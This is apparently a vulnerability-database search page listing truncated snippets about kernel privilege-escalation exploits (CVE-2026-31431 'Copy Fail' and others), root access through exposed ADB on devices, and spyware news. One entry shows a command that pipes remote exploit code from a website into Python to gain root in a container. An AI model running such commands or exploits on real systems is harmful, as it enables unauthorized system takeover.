25 matches found
CVE-2026-31431
AFALG su メモリパッチエクスプロイト（研究用） AFALG 関連のカーネル脆弱性を悪用して su バイナリのメモリをパッチし、権限を昇格させるコンパクトなPythonスクリプトです。これは教育および研究目的のみ で提供されています。 ⚠️ 所有していないシステム、または明示的な許可がないシステムでは使用しないでください。 誤用は法律やセキュリティポリシーに違反する可能性があります。 目的 特定のカーネルバージョンにおいて、AFALG ソケットオプションと splice が実行可能メモリの改変に悪用される仕組みを実演する。...
copy-fail-CVE-2026-31431
CVE-2026-31431 — Copy Fail AFALG + splice によるページキャッシュ上書きを利用した Linux カーネルローカル権限昇格 認可されたセキュリティ研究、ペネトレーションテスト、および教育目的のみに使用してください。 所有していないシステム、または明示的な書面による許可を得ていないシステムに対しては使用しないでください。 技術解説 目次 説明 脆弱性の詳細 リポジトリ構成 クイックスタート 検出 要件 緩和策 テスト環境（任意） 参考情報 ライセンス 説明 CVE-2026-31431 は、Linux...
CVE-2026-31431-exploit
CVE-2026-31431 警告 これらのLinux LPEエクスプロイト実装は、実行時に破壊的 です。 特権対象のライブなページキャッシュビュー を上書きします。対象は以下の通りです: su PAM設定ファイル patchモードに渡された任意のファイル これは通常、永続的なディスク上の編集ではありませんが、実行時の動作を変更 し、認証・権限フローに即座に影響を与える可能性があります。 このリポジトリは、完全に非破壊的なroot モードを提供しません。 ファイル copyfailrawsuroot.c copyfailportablelpe.c どちらもLinux専用 です。...
TEST-CVE-2026-31431
TEST-CVE-2026-31431 oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d5j / id uid=0ro...
copy-fail-go
Copy Fail - CVE-2026-31431 - golang 버전 ⚠️ 경고: 이 프로그램은 매우 위험하며 실험적입니다. 익스플로잇을 제거하려면 수동 정리가 필요합니다. 사용에 따른 책임은 본인에게 있습니다! 기술 문서 원본 저장소 실행 실행 전 /usr/bin/su 확인: user@pc:$ hexdump -n 300 -x /usr/bin/su 0000000 457f 464c 0102 0001 0000 0000 0000 0000 0000010 0003 003e 0001 0000 44d0 0000 0000 0000 000002...
copyfail-go
CopyFail Go 대부분의 Linux LPE는 레이스 윈도우race window나 커널별 오프셋이 필요합니다. Copy Fail은 직선형 로직 결함straight-line logic flaw으로, 둘 다 필요 없습니다. 동일한 732바이트 Python 스크립트 정적 Go 바이너리는 2017년 이후 출시된 모든 Linux 배포판을 루트 권한으로 탈취합니다. CVE-2026-31431의 Go 구현입니다. 정적 바이너리가 필요하고 Python 의존성이 없을 때 사용하세요. 자세한 내용은 copy.fail을 참조하세요. 인터랙티브...
CVE-2023-4911
CVE-2023-4911 이것은 CVE-2023-4911"Looney Tunables"에 대한 PoC로, glibc 동적 로더의 GLIBCTUNABLES 환경 변수 파싱 함수 parsetunables의 버그를 이용합니다. 이것은 C PoC를 순수 파이썬 방식으로 다시 작성한 것입니다. 다른 플랫폼에서 익스플로잇을 쉽게 커스터마이즈할 수 있도록 하기 위해 이렇게 했습니다. 유일한 요구 사항은 pwntools이며, 다음과 같이 설치할 수 있습니다: python3 -m pip install --upgrade pwntools 원본 C...
About Elevation of Privilege - Linux Kernel "Fragnesia" (CVE-2026-46300) vulnerability
About Elevation of Privilege - Linux Kernel "Fragnesia" CVE-2026-46300 vulnerability. The vulnerability was discovered by researcher William Bowling together with the V12 team. Fragnesia belongs to the class of Dirty Frag vulnerabilities. It is an error in the ESP/XFRM subsystem, distinct from...
Linux Kernel 6.8 - Local Privilege Escalation
Exploit Title: Linux Kernel 5.4 - 6.8 - Local Privilege Escalation Google Dork: N/A Date: 2026-04-30 Exploit Author: Long Fong Chan https://github.com/iss4cf0ng Vendor Homepage: https://www.kernel.org/ Software Link: https://git.kernel.org/ Version: Linux Kernel 5.4 - 6.8 unpatched Tested on:...
CVE-2026-30495
The Optoma CinemaX P2 projector firmware TVOS-04.24.010.04.01, Android 8.0.0 exposes Android Debug Bridge ADB on TCP port 5555 over the network without requiring authentication. The device is configured with ro.adb.secure=0, which disables RSA key verification. Additionally, a functional su binar...
CVE-2026-30495
The Optoma CinemaX P2 projector firmware TVOS-04.24.010.04.01, Android 8.0.0 exposes Android Debug Bridge ADB on TCP port 5555 over the network without requiring authentication. The device is configured with ro.adb.secure=0, which disables RSA key verification. Additionally, a functional su binar...
Optoma CinemaX P2 安全漏洞
The Optoma CinemaX P2 is a super-short-throw 4K laser home projector from Optoma. The Optoma CinemaX P2 has a security vulnerability. This vulnerability stems from exposing the Android debugging bridge on port 5555 without authentication, while RSA key verification is disabled. Additionally, ther...
Exploit for Incorrect Resource Transfer Between Spheres in Linux Linux_Kernel
CVE-2026-31431 — Copy Fail Linux kernel local privilege esc...
Exploit for CVE-2026-31431
Author: 0xShe Language / 语言 - English: https://github.com/0xSh...
Exploit for CVE-2026-31431
cve-2026-31431 732 bytes required to execute root on all majo...
EUVD-2023-45772
Malicious code in bioql PyPI...
New Android Spyware LianSpy Evades Detection Using Yandex Cloud
Users in Russia have been the target of a previously undocumented Android post-compromise spyware called LianSpy since at least 2021. Cybersecurity vendor Kaspersky, which discovered the malware in March 2024, noted its use of Yandex Cloud, a Russian cloud service, for command-and-control C2...
CVE-2023-41255: Missing Authentication for Critical Function
The vulnerability allows an unprivileged user with access to the subnet of the TPC-110W device to gain a root shell on the device itself abusing the lack of authentication of the ‘su’ binary file installed on the device that can be accessed through the ADB Android Debug Bridge protocol exposed on...
PT-2023-27872 · Google · Android Debug Bridge
Name of the Vulnerable Software and Affected Versions: TPC-110W device affected versions not specified Description: The issue allows an unprivileged user with access to the subnet of the device to gain a root shell on the device itself by exploiting the lack of authentication of the su binary fil...
Android su Privilege Escalation Exploit
This Metasploit module uses the su binary present on rooted devices to run a payload as root. A rooted Android device will contain a su binary often linked with an application that allows the user to run commands as root. This module will use the su binary to execute a command stager as root. The...